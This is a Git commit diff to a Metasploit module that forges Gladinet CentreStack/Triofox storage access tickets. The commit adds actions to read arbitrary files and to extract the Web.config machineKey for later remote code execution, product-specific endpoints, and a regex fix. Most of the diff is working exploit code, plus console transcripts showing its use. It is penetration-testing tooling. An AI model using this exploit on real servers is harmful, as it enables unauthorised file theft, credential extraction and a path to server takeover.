Address PR #20768 review feedback

- Fix machineKey extraction regex to handle decryption attribute
- Replace Base64.strict_encode64 with Rex::Text.encode_base64
- Add READ_FILE and EXTRACT_MACHINEKEY actions
- Add PRODUCT option for CentreStack/Triofox support
- Use different storage endpoints per product type
- Update documentation with new options and actions
This commit is contained in:
Valentin Lobstein
2026-01-26 18:43:16 +01:00
committed by Martin Sutovsky
parent 7776588577
commit 005fbb17a1
3 changed files with 124 additions and 32 deletions
@@ -42,16 +42,40 @@ You are now ready to test the module.
- [ ] `use auxiliary/gather/gladinet_storage_access_ticket_forge`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>` (default: 80)
- [ ] `set filepath <file-to-read>` (default: `C:\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config`)
- [ ] `set product <CentreStack|Triofox>` (default: CentreStack)
- [ ] `set action <READ_FILE|EXTRACT_MACHINEKEY>` (default: EXTRACT_MACHINEKEY)
- [ ] `set filepath <file-to-read>` (optional, auto-selected based on PRODUCT)
- [ ] `run`
- [ ] The module should forge an access ticket and read the specified file
## Actions
### EXTRACT_MACHINEKEY (default)
Read the Web.config file and extract the machineKey for RCE exploitation.
The Web.config path is automatically determined based on the PRODUCT option.
### READ_FILE
Read an arbitrary file from the target system.
## Options
### PRODUCT
Target product type. Either `CentreStack` or `Triofox`. Default: `CentreStack`
This option affects:
- The default Web.config path used for EXTRACT_MACHINEKEY action
- The storage endpoint path (`/storage/filesvr.dn` for CentreStack, `/servlets/filesvr.dn` for Triofox)
### FILEPATH
The file path to read on the target. Default: `C:\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config`
For Triofox targets, set PRODUCT to `Triofox` and the module will automatically use
`C:\Program Files (x86)\Triofox\root\Web.config` for the EXTRACT_MACHINEKEY action.
### SYSKEY
SysKey (32 bytes) in hex format. Default is the hardcoded key extracted from GladCtrl64.dll.
@@ -62,7 +86,7 @@ SysKey1 (16 bytes) in hex format. Default is the hardcoded key extracted from Gl
## Scenarios
### Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019 - Reading Web.config
### Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019 - Extracting machineKey
```msf
msf6 > use auxiliary/gather/gladinet_storage_access_ticket_forge
@@ -72,8 +96,8 @@ msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set rport 80
rport => 80
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set ssl false
ssl => false
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set filepath "C:\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config"
filepath => C:\Program Files (x86)\Gladinet Cloud Enterprise\root\Web.config
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set product CentreStack
product => CentreStack
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > run
[*] Running module against 192.168.1.21
[*] Running automatic check ("set AutoCheck false" to disable)
@@ -268,6 +292,8 @@ set MACHINEKEY 5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9
### Reading an arbitrary file
```msf
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set action READ_FILE
action => READ_FILE
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > set filepath "C:\Windows\System32\drivers\etc\hosts"
filepath => C:\Windows\System32\drivers\etc\hosts
msf6 auxiliary(gather/gladinet_storage_access_ticket_forge) > run
+3 -3
View File
@@ -21,11 +21,11 @@ module Msf
# Extract machineKey from Web.config
# Pattern: <machineKey ... validationKey="..." ... />
# NOTE: The exploit module only needs the validationKey, not the decryptionKey
# The regex allows for other attributes (like decryption="AES") between decryptionKey and validationKey
machinekey_match = content.match(/<machineKey decryptionKey="([^"]+)" validationKey="([^"]+)"/i)
# The regex allows for any attributes before validationKey (e.g., decryption="AES", decryptionKey="...")
machinekey_match = content.match(/<machineKey[^>]*validationKey="([^"]+)"/i)
return nil unless machinekey_match
validation_key = machinekey_match[2]
validation_key = machinekey_match[1]
# Return only validationKey (hex format) as required by the exploit module
validation_key
@@ -4,7 +4,6 @@
##
require 'openssl'
require 'base64'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
@@ -57,13 +56,19 @@ class MetasploitModule < Msf::Auxiliary
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
},
'Actions' => [
['READ_FILE', { 'Description' => 'Read an arbitrary file from the target' }],
['EXTRACT_MACHINEKEY', { 'Description' => 'Read Web.config and extract the machineKey for RCE' }]
],
'DefaultAction' => 'EXTRACT_MACHINEKEY'
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to the Gladinet CentreStack or Triofox application', '/']),
OptString.new('FILEPATH', [true, 'Absolute path to the file to read on the target', 'C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\Web.config']),
OptEnum.new('PRODUCT', [true, 'Target product type', 'CentreStack', ['CentreStack', 'Triofox']]),
OptString.new('SYSKEY', [true, 'SysKey (32 bytes) in hex format', DEFAULT_SYS_KEY]),
OptString.new('SYSKEY1', [true, 'SysKey1 (16 bytes) in hex format', DEFAULT_SYS_KEY1])
])
@@ -122,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
cipher.key = sys_key
cipher.iv = sys_key1
encrypted = cipher.update(plaintext) + cipher.final
Base64.strict_encode64(encrypted).tr('+/', ':|')
Rex::Text.encode_base64(encrypted).tr('+/', ':|')
end
def check
@@ -135,42 +140,43 @@ class MetasploitModule < Msf::Auxiliary
Exploit::CheckCode::Appears("Version #{version} detected, attempting ticket forge anyway")
end
def run
filepath = datastore['FILEPATH']
def storage_endpoint
# CentreStack and Triofox use different paths
case datastore['PRODUCT']
when 'Triofox'
normalize_uri(target_uri.path, 'servlets', 'filesvr.dn')
else
normalize_uri(target_uri.path, 'storage', 'filesvr.dn')
end
end
def default_webconfig_path
case datastore['PRODUCT']
when 'Triofox'
'C:\\Program Files (x86)\\Triofox\\root\\Web.config'
else
'C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\Web.config'
end
end
def read_file_via_ticket(filepath)
print_status("Forging access ticket for file: #{filepath}")
ticket = forge_ticket(filepath)
print_good("Forged access ticket: #{ticket}")
print_status('Sending request to /storage/filesvr.dn')
print_status("Sending request to #{storage_endpoint}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'storage', 'filesvr.dn'),
'uri' => storage_endpoint,
'vars_get' => { 't' => ticket }
})
unless res&.code == 200
print_error("Failed to read file. HTTP response code: #{res&.code}")
return
return nil
end
print_good("Successfully read file: #{filepath}")
print_line
print_line(res.body)
print_line
fname = File.basename(filepath)
path = store_loot(
'gladinet.file',
'text/plain',
datastore['RHOST'],
res.body,
fname,
'File read from Gladinet via forged access ticket'
)
print_good("File saved to: #{path}")
ticket_path = store_loot(
'gladinet.ticket',
'text/plain',
@@ -181,6 +187,66 @@ class MetasploitModule < Msf::Auxiliary
)
print_good("Access ticket saved to: #{ticket_path}")
handle_machinekey_extraction(res.body, filepath, 'MachineKey extracted from Gladinet Web.config')
res.body
end
def run
case action.name
when 'READ_FILE'
run_read_file
when 'EXTRACT_MACHINEKEY'
run_extract_machinekey
end
end
def run_read_file
filepath = datastore['FILEPATH']
file_content = read_file_via_ticket(filepath)
return if file_content.nil?
print_good("Successfully read file: #{filepath}")
print_line
print_line(file_content)
print_line
fname = File.basename(filepath)
path = store_loot(
'gladinet.file',
'text/plain',
datastore['RHOST'],
file_content,
fname,
'File read from Gladinet via forged access ticket'
)
print_good("File saved to: #{path}")
end
def run_extract_machinekey
filepath = datastore['FILEPATH']
# Use default Web.config path if the user hasn't changed FILEPATH
if filepath == 'C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\Web.config'
filepath = default_webconfig_path
end
file_content = read_file_via_ticket(filepath)
return if file_content.nil?
print_good("Successfully read file: #{filepath}")
print_line
print_line(file_content)
print_line
fname = File.basename(filepath)
path = store_loot(
'gladinet.file',
'text/plain',
datastore['RHOST'],
file_content,
fname,
'File read from Gladinet via forged access ticket'
)
print_good("File saved to: #{path}")
handle_machinekey_extraction(file_content, filepath, 'MachineKey extracted from Gladinet Web.config')
end
end